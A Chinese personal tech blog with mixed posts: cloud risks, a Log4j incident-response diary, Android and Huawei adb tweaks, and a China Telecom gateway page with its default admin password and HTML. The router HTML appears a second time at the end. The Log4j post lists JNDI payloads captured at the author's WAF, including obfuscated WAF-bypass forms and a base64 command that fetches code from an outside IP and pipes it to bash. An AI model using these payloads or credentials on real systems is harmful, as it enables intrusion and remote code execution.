masker: 伪技术

显示标签为“伪技术”的博文。显示所有博文

2023年2月6日星期一

云上的一些风险

1. 云服务的数据存储服务一般是可以开放公网的，如果权限设置不当、账号密码泄露，会有数据泄密的风险，在权限管理、访问控制、账号密码保管方面需要更为严谨一些。

2. 网络和服务器硬件都强依赖于云服务商，如果云服务商出现网络或服务器故障，业务系统也会出现无法访问的情况，此时运维能做的时间会很有限，大多数情况下只能等待云服务商恢复。为了预防此类情况，运维需要考虑业务系统多地域部署，如果出现云服务商某个地域故障的情况，业务系统还能正常运行，保障业务系统的可靠性。

3. 云服务商一般都会提供API服务，运维可以通过API构建运维管理系统，来提升业务部署及运维管理的便利性，由于API都是对外开放，会有一定的安全风险，云服务的安全和可用性都比较依赖API自身的安全性。

4. 虚拟化安全问题：虚拟化技术也会带来虚拟机逃逸、物理主机上的虚拟网络破坏导致虚拟机无法交流、用户间的攻击、虚拟机和物理主机的共享漏洞、物理主机存在安全问题导致其所有虚拟机都可能存在安全问题。

5. 法律风险：云计算应用地域弱、信息流动性大，信息服务或用户数据可能分布在不同地区甚至是不同国家，在政府网络安全法、数据合规、隐私要求等方面存在法律差异与纠纷;同时由于虚拟化等技术引起的用户间物理界限模糊可能导致的司法取证问题也不容忽视。

2021年12月13日星期一

关于Log4j组件漏洞的应急响应过程

依稀记得在之前应该是11月份的时候，阿里云的公众号就发了关于log4j组件的安全问题的预警，但是由于并没有实际的poc，所以没激起什么水花，我点开看看之后就忘到一边了。

直至上周四晚上（2021.12.09），很多群突然传log4j的消息，某公众号也深夜放出了poc（我已睡着）。

周五早上，打开手机一看，各个群已经翻天了，去到公司后赶紧联系领导、同事，说明此漏洞的情况，然后测试、验证、消化、输出相关教程给同事，waf也赶紧打上补丁进行拦截。

忙碌的周五上午就这么过去了。

晚上厂商发来新补丁，赶紧打，于是晚上11点多远程回公司给waf打补丁。

愉快的周末欢乐了两天。

周日晚上，朋友发了新的payload，一试，噢嚯，能绕过waf，完了。

周一去到公司联系厂家，他们说又有最新的补丁，坑，赶紧打上，打完测试，能拦截最新的payload了。

研发那边需要在下个版本才能投产更新log4j，在这之前，先由waf顶着吧。

Update:

一些在waf处抓的payload:

${jndi:ldap://45.83.193.150:1389/Exploit}

${jndi:rmi://${java:version}.uy483a.dnslog.cn/1}

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://c6rht5b9g1rt2rilbafgcg5zrfaynab91.interactsh.com/a}

${${env:aaaa:-j}${env:aaaa:-n}${env:aaaa:-d}${env:aaaa:-i}:${env:aaaa:-l}${env:aaaa:-d}${env:aaaa:-a}${env:aaaa:-p}${env:aaaa:-:}//kfwd.idrkib.ceye.io/aa}

/?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xMTAuNDMuNDAuNjg6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMTEwLjQzLjQwLjY4OjgwKXxiYXNo}

${${lower:j}${upper:n}${lower:d}${upper:i}: ${lower:l}d${lower:a}${lower:p}}://kfwd2.idrkib.ceye.io/aa}

2021年12月3日星期五

Cent Browser频繁无响应排查

家里电脑用的是Cent Browser，自从不知道什么时候开始，就存在一个bug，当浏览器停止使用后，挂着一段时间，这个时间可能是一个小时可能是两个小时，就会出现卡死“程序无响应”的状态，只能任务管理器强行关闭再打开才能用。

刚好我在公司电脑用的也是Cent Browser，同版本，但是从未出现过这样的问题，由于这个bug比较影响使用，于是开始排查的过程。

在一次哔哩哔哩网站的使用过程中，发现用cent浏览器播放会卡，用火狐就不会，于是果断F12，发现加载过程中有一个插件频繁报错，而这个插件是

于是果断卸载

挂着浏览器，过了一个一两个小时后，发现还是正常的，看来就是这个插件的问题了。

2021年8月13日星期五

在安卓设备将用户证书转为系统证书

将证书安装后，使用文件管理器找到 /data/misc/user/0/cacerts-added/xxxx.0

将其剪切到/system/etc/security/cacerts/ 即可

2021年6月3日星期四

pythonchallenge第1关

pythonchallenge第一关起始很简单，网上也有很多详解，但是！！！

网上说的都是用string.maketrans() 函数，而这个函数在py3.4之后就已经没有了，所以当我们用from string import maketrans

的时候，系统会报错“ImportError: cannot import name 'maketrans' from 'string'”，解决办法也很简单。

#!/usr/bin/python3 intab = "abcdefghijklmnopqrstuvwxyz" outtab = "cdefghijklmnopqrstuvwxyzab" transtab = str.maketrans(intab,outtab) str = "map" print (str.translate(transtab))

2021年1月29日星期五

天翼宽带家庭网关后门

地址：http://192.168.x.x:8080/publicSecu.html

打开电信的光猫，打开上面的网页，输入光猫的账号密码，默认是

用户名：telecomadmin

密码：nE7jA%5m

不多解释，一看界面上的文字就知道这个是干嘛的。

网上有人说这个后门是强制启用，但是我看的时候并不是，所以琢磨了一下看看网页源码。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<meta http-equiv='Pragma' content='no-cache'>
<title>公安溯源-公安溯源-安全</title>
<link rel="stylesheet" href='stylemain.css' type='text/css'>
<link rel="stylesheet" href='colors.css' type='text/css'>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="util.js"></script>
<script type="text/javascript">

var sessionKey='1964050583';

var XINJIANG_GASY = '0|2';
XINJIANG_GASY=XINJIANG_GASY.split('|');
var publicSecenable = XINJIANG_GASY[0]; //是否启用
var publicSecPluginInx=XINJIANG_GASY[1];

function frmLoad() {
with(document.forms[0]) {
if (publicSecenable == '0') {
publicSecTraceabilityEnable.checked = false;

} else {
publicSecTraceabilityEnable.checked = true;

}
publicSecPluginVal.selectedIndex= parseInt(publicSecPluginInx)-1;

}
}

function saveClick() {
var loc = 'publicSecu.cmd?';
with ( document.forms[0] ) {

if(publicSecTraceabilityEnable.checked == true)
loc += '&enable=1';
else
loc += '&enable=0';
if ( publicSecPluginVal.value == "1" )
loc += '&SJCJ=1';
else if( publicSecPluginVal.value == "2")
loc += '&SJCJ=2';
else if( publicSecPluginVal.value == "3")
loc += '&SJCJ=3';
else if( publicSecPluginVal.value == "4")
loc += '&SJCJ=4';
}
loc += '&sessionKey=' + sessionKey;
var code = 'location="' + loc + '"';
eval(code);
}

</script>
</head>

<body onLoad='frmLoad()'>
<form action="" method="">
<b id="Title_mac_filter_tips">公安溯源 —— 本页可设置溯源平台</b> <br />
<br />
<table border="0" cellpadding="3" cellspacing="0" width="100%">
<tr>
<td width="164">启用</td>
<td ><input type='checkbox' name='publicSecTraceabilityEnable' id="publicSecTraceabilityEnable" value="1" /></td>
</tr>
<tr>
<td width="164">启用插件</td>
<td >
<select name="publicSecPluginVal" id="publicSecplugin" >
<option value="1">广州巨泰_WIFIDOG</option>
<option value="2">广州巨泰_NOWIFIDOG</option>
<option value="3">任子行_WIFIDOG</option>
<option value="4">任子行_NOWIFIDOG</option>
</select>
</td>
<tr>
<td width="164"> </td>
<td></td>
</tr>
<tr>
<td width="164"> </td>
<td></td>
</tr>
<tr>
<td width="164"> </td>
<td id="ModeSave_button"><input type="button" name="save" onclick="saveClick()" value="保存" />
</td>
</tr>
</table>

</form>
</body>
</html>

看了源码就知道了，是在某个地区会强制启用。

2020年12月28日星期一

关闭华为手机的更新、智慧搜索

禁用智慧搜索

adb shell pm disable-user com.huawei.search

卸载智慧搜索

adb shell pm uninstall --user 0 com.huawei.search

关闭系统更新

adb shell pm disable-user com.huawei.android.hwouc

如需停用其它应用

停用：adb shell pm disable-user 应用程序包名

启用：adb shell pm enable 应用程序包名

EMUI 10 的系统app列表

com.huawei.scenepack 华为旅行助手

com.huawei.hifolder 精品推荐

com.android.cts.priv.ctsshim 华为旅行助手

com.huawei.camera相机

com.huawei.android.tips 玩机技巧

com.huawei.camerakit.impl相机辅助功能

com.huawei.synergy 蓝牙服务相关

com.huawei.android.launcher华为桌面

com.android.mediacenter华为音乐

com.android.providers.telephony通话/信息存贮

com.unionpay.tsmservice银联服务

com.huawei.androidx系统扩展库

com.huawei.android.UEInfoCheck用户体验

com.android.phone.recorder通话录音

com.android.providers.calendar日历存储

com.huawei.featurelayer.featureframework应用场景

com.huawei.health运动健康

com.huawei.hicard卡片管理

com.huawei.hidisk文件管理

com.huawei.hiview屏幕色彩状态栏

com.huawei.iaware智能优化

com.huawei.bluetooth蓝牙

com.android.providers.media媒体存贮

com.huawei.android.thememanager主题

com.huawei.android.chr华为chr服务

com.huawei.android.hsf华为框架服务

com.google.android.onetimeinitializer谷歌one time

com.google.android.ext.shared安卓Shared库

com.android.wallpapercropper壁纸剪裁器

com.huawei.imedia.dolby杜比全景声

com.huawei.nearby华为附近

com.huawei.android.FloatTasks悬浮导航

com.huawei.desktop.systemui系统界面

com.huawei.intelligent智能助手

com.huawei.motionservice手势服务

com.huawei.appmarket应用市场

com.huawei.recsys华为智能系统还原

com.xy.smartmmsplugin.remote智能短信插件

com.huawei.parentcontrol健康使用手机

com.huawei.search智慧搜索

com.huawei.secime华为安全输入法

com.android.documentsui文档

com.huawei.numberidentity号码识别

com.android.externalstorage外部存储设备

com.huawei.multimedia.audioengine音效

com.sohu.sohuvideo.emplayer搜狐视频

com.android.htmlviewerHTML查看器

com.android.companiondevicemanager跟随设备管理器

com.huawei.regservice注册服务

com.iflytek.speechsuite讯飞语音引擎

com.android.mms.service彩信服务

com.huawei.wallet华为钱包

com.huawei.android.totemweather天气

com.android.providers.downloads下载管理器

com.huawei.gameassistant游戏助手

com.android.networkstack.inprocess网络堆栈

com.huawei.android.findmyphone找回手机

com.huawei.trustcircle支付保护中心

com.huawei.fastapp快应用中心

com.huawei.phoneservice会员服务

com.huawei.desktop.explorer文件管理

com.huawei.screenrecorder屏幕录制

com.huawei.arengine.service AREngineServer

com.huawei.hwpolicyservice旅行助手服务

com.huawei.spaceservice云空间

com.huawei.videoeditor视频编辑

com.huawei.securitymgr隐私空间

com.google.android.configupdater允许无线更新不可执行的系统组件

com.android.soundrecorder录音机

com.huawei.iconnect设备连接服务

com.huawei.android.AutoRegSms自动注册

com.google.android.overlay.settingsProvider多重设置服务

com.huawei.KoBackup备份

com.huawei.hwvplayer.youku华为视频优酷版

com.huawei.hiviewtunnel电量优化

com.google.ar.core谷歌AR

com.android.providers.downloads.ui下载内容

com.android.vending Google Play 服务更新程序

com.android.pacprocessor电脑连接辅助

com.android.simappdialog sim卡应用程序的日志

com.android.systemui.overlay主题界面

com.huawei.smarthome智慧生活

androidhwext Android的文本

com.huawei.pengine华为智能建议

com.baidu.input_huawei百度输入法

com.android.frameworkhwext.honor荣耀框架

com.android.modulemetadata模块列表的元数据

com.android.certinstaller证书安装器

com.android.carrierconfig运营商配置

com.huawei.wallet.sdk.walletsdk调用sdk

com.google.android.marvin.talkback谷歌框架

android Android系统

com.huawei.stylus.mpenzone

com.huawei.fans花粉俱乐部

com.huawei.hiai AI计算平台

com.huawei.hwid华为移动服务

com.huawei.msdp综合信息传感处理

com.huawei.tips智能提醒

com.android.contacts联系人

com.huawei.contentsensor取词

com.huawei.systemserver系统服务

com.huawei.mycenter会员中心

com.android.mms信息

com.android.mtpMTP服务

com.android.nfcNFC服务

com.android.ons ons上运行的游戏

com.android.stkSIM卡应用

com.android.backupconfirm第三方的应用程序

com.huawei.android.instantshare华为分享

com.huawei.himovie.partner1视频缓存，动态视频

com.huawei.himovie.partner2视频缓存，动态视频

com.huawei.trustagent智能解锁

com.huawei.profile默认存储在数据

com.huawei.trustspace支付保护中心

com.android.statementservice App Links(报表服务

com.huawei.printservice默认打印服务

com.huawei.android.internal.app华为分享

com.huawei.gamebox游戏中心

com.huawei.cloud华为云电脑

com.huawei.dmsdp

com.huawei.hicar负责提供卡片管理功能

com.huawei.hwasm线上快速身份验证联盟

com.huawei.lives华为生活服务

com.android.calendar日历

com.huawei.wifiprobqeservice WiFi服务

com.huawei.livewallpaper.matetwenty华山动态壁纸

com.huawei.smartlocation室内定位服务

com.android.providers.settings设置存储

com.android.sharedstoragebackup共享存贮

com.android.printspooler打印处理服务

com.android.frameworkres.overlay

com.huawei.featurelayer.sharedfeature.map华为地图服务

com.android.dreams.basic基本互动屏保

com.android.incallui拨号

com.huawei.systemmanager手机管家

com.huawei.nb.service数据管理服务

com.android.se通话管理

com.android.inputdevices输入设备

com.huawei.browser浏览器

com.huawei.securityserver安全管家

com.android.inputdevices 输入设备

androidx.camera.extensions.impl

com.google.android.overlay.gmsconfig

com.huawei.contacts.sync联系人同步

com.huawei.hilink.framework智能家居连接服务

com.google.android.webview网页渲染器

com.huawei.HwMultiScreenShot滚动截屏

com.huawei.vassistant语音助手

com.android.server.telecom通话管理

com.google.android.syncadapters.contacts同步联系人数据到用户的谷歌帐号

com.example.android.notepad备忘录

com.android.keychain密钥链

com.android.keyguard华为杂志锁屏

com.microsoft.translator微软翻译

com.huawei.languagedownloader语言下载

com.android.gallery3d图库

com.google.android.gms为第三方应用提供谷歌服务

com.google.android.gsf谷歌帐号认证服务

android.ext.services提供安卓框架扩展机制

com.huawei.hwstartupguide 玩机手册

com.android.calllogbackup log上传

com.google.android.partnersetup谷歌合作伙伴设置

com.huawei.fido.uafclientfido客户端

com.android.localtransport

com.android.packageinstaller打包安装程序

com.huawei.stylus.floatmenu

com.huawei.hwireader华为阅读

com.android.proxyhandler处理器信息

com.huawei.contactscamcard名片全能王

com.google.android.printservice.recommendation允许用户发现喝配置本地网络的打印机

com.android.managedprovisioning 工作资料设置

com.huawei.himovie华为视频

com.huawei.hitouch智慧识屏

com.huawei.compass指南针

com.android.dreams.phototable图片屏保程序

com.huawei.vrservice华为VR服务

com.huawei.android.dsdscardmanager双卡管理

com.huawei.android.hwaps主题

com.huawei.android.hwouc系统更新

com.huawei.android.wfdftwlan直连

com.tencent.qqlivehuawei

com.android.wallpaper.livepicker动态壁纸

com.huawei.mmitest工程测试

com.android.apps.tag标记

com.huawei.powergenie省电精灵

com.qeexo.smartshot智能截屏

com.huawei.android.instantonline及时在线

com.android.storagemanager存储空间管理器

com.android.settings设置

com.android.networkstack.permissionconfig

com.vmall.client华为商城

com.huawei.deviceauth

com.android.calculator2计算器

com.huawei.pcassistant

com.huawei.android.projectmenu工程菜单

com.android.cts.ctsshim

com.huawei.android.remotecontroller智能遥控

com.huawei.android.pushagent推送服务

com.android.vpndialogsVPN设置

com.huawei.android.hwupgradeguide升级向导

com.android.email电子邮件

com.android.phone拨号

com.android.shell

com.android.wallpaperbackup壁纸备份

com.android.providers.blockednumber黑名单

com.android.providers.userdictionary用户词典

com.android.emergency个人紧急信息

com.huawei.scanner扫一扫

com.android.huawei.HiMediaEngine

com.huawei.suggestion情景智能

com.android.location.fused融合定位

com.android.deskclock时钟

com.android.systemui 系统用户界面

com.android.bluetoothmidiservice蓝牙midi服务

com.huawei.assetsync

com.huawei.hwdetectrepair智能检测

com.android.permissioncontroller

com.huawei.hwvoipservice智能电话

com.huawei.android.karaokeK歌特效

com.huawei.bd用户体验改进计划

com.huawei.caca服务

com.huawei.skytone天际通

com.huawei.assetsyncservice

com.huawei.hiskytone天际通服务

com.huawei.aod灭屏显示

com.huawei.hff

com.huawei.ims定位服务相关

com.huawei.lbs融合定位

com.android.bluetooth蓝牙

com.android.providers.contacts联系人存储

com.android.captiveportallogin

com.huawei.hiaction智能识屏中控模块

com.android.hwmirror镜子

com.huawei.android.airsharing无线投屏

com.huawei.rcsserviceapplication华为RCS服务

2020年7月6日星期一

Atlassian Confluence 5.8.10编辑后无法保存页面的问题

6.30日出现奇怪的问题，wiki编辑的内容无法保存，每次保存时都显示：

于是乎我想呀想，百度又谷歌。

本想直接重启，但是考虑到可能有人在使用，于是乎先想想再说。

周一的时候，在经过各种修改后台配置文件后，终于不能再忍了，进去服务器看日志，发现了其中这么一行报错信息：

2020-06-30 10:08:45,059 ERROR [http-nio-80-exec-25] [sf.hibernate.util.JDBCExceptionReporter] logExceptions The table 'BODYCONTENT' is full

-- referer: http://wiki.****.com/pages/editpage.action?pageId=6359307 | url: /rest/tinymce/1/drafts | userName: zou*******n

很明显这就是我想要的信息啊，于是乎找呀找，竟然没看到mysql的数据库，于是又找呀找，找到 /etc/my.cnf，加入如下

tmp_table_size = 256M
max_heap_table_size = 256M

加上保存后想重启mysql，但是没看到mysql进程，我以为是挂掉还是什么情况，考虑到这个机器早上应该没什么访问（wiki服务），直接reboot，然后又报错了，wiki起不来，同事弄好了后，还是存在编辑后不能保存的问题。

再仔细想，才想起数据库原来在jira服务器上，并不在这一台，白忙活了，再次看错误日志

，还是mysql的问题，由于没有另一台jira的密码，所以让同事改配置，重启mysql，完美解决。

2018年2月28日星期三

解决DependencyCheck的Could not connect to Central search问题

在离线的计算机中使用DependencyCheck的时候遇到了个小问题，扫描时控制台提示

Could not connect to Central search. Analysis failed.

具体的解决办法为，在扫描的命令中加入 --disableCentral 这个参数即可，即形如如下：

dependency-check.bat -f xxxx -o xxxxxxxx --log xxxxxxx --disableCentral

注意xxx是我这里随意写的。

为什么这样就能解决呢，我看了原先的错误的debug信息，这个信息在扫描的输出log文件里会有，其中有一段说明了 Central search 具体地址是 search.maven.org ，DependencyCheck 将会在这个网站搜索一些内容，而根据github上issue

https://github.com/jeremylong/DependencyCheck/issues/978

可知是禁用central就行了，在帮助信息里可以看到的

	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
	<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
	<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
	<meta http-equiv='Pragma' content='no-cache'>
	<title>公安溯源-公安溯源-安全</title>
	<link rel="stylesheet" href='stylemain.css' type='text/css'>
	<link rel="stylesheet" href='colors.css' type='text/css'>
	<script type="text/javascript" src="jquery.js"></script>
	<script type="text/javascript" src="util.js"></script>
	<script type="text/javascript">

	var sessionKey='1964050583';

	var XINJIANG_GASY = '0\|2';
	XINJIANG_GASY=XINJIANG_GASY.split('\|');
	var publicSecenable = XINJIANG_GASY[0]; //是否启用
	var publicSecPluginInx=XINJIANG_GASY[1];

	function frmLoad() {
	with(document.forms[0]) {
	if (publicSecenable == '0') {
	publicSecTraceabilityEnable.checked = false;

	} else {
	publicSecTraceabilityEnable.checked = true;

	}
	publicSecPluginVal.selectedIndex= parseInt(publicSecPluginInx)-1;

	}
	}

	function saveClick() {
	var loc = 'publicSecu.cmd?';
	with ( document.forms[0] ) {

	if(publicSecTraceabilityEnable.checked == true)
	loc += '&enable=1';
	else
	loc += '&enable=0';
	if ( publicSecPluginVal.value == "1" )
	loc += '&SJCJ=1';
	else if( publicSecPluginVal.value == "2")
	loc += '&SJCJ=2';
	else if( publicSecPluginVal.value == "3")
	loc += '&SJCJ=3';
	else if( publicSecPluginVal.value == "4")
	loc += '&SJCJ=4';
	}
	loc += '&sessionKey=' + sessionKey;
	var code = 'location="' + loc + '"';
	eval(code);
	}

	</script>
	</head>

	<body onLoad='frmLoad()'>
	<form action="" method="">
	<b id="Title_mac_filter_tips">公安溯源 —— 本页可设置溯源平台</b> <br />
	<br />
	<table border="0" cellpadding="3" cellspacing="0" width="100%">
	<tr>
	<td width="164">启用</td>
	<td ><input type='checkbox' name='publicSecTraceabilityEnable' id="publicSecTraceabilityEnable" value="1" /></td>
	</tr>
	<tr>
	<td width="164">启用插件</td>
	<td >
	<select name="publicSecPluginVal" id="publicSecplugin" >
	<option value="1">广州巨泰_WIFIDOG</option>
	<option value="2">广州巨泰_NOWIFIDOG</option>
	<option value="3">任子行_WIFIDOG</option>
	<option value="4">任子行_NOWIFIDOG</option>
	</select>
	</td>
	<tr>
	<td width="164"> </td>
	<td></td>
	</tr>
	<tr>
	<td width="164"> </td>
	<td></td>
	</tr>
	<tr>
	<td width="164"> </td>
	<td id="ModeSave_button"><input type="button" name="save" onclick="saveClick()" value="保存" />
	</td>
	</tr>
	</table>


	</form>
	</body>
	</html>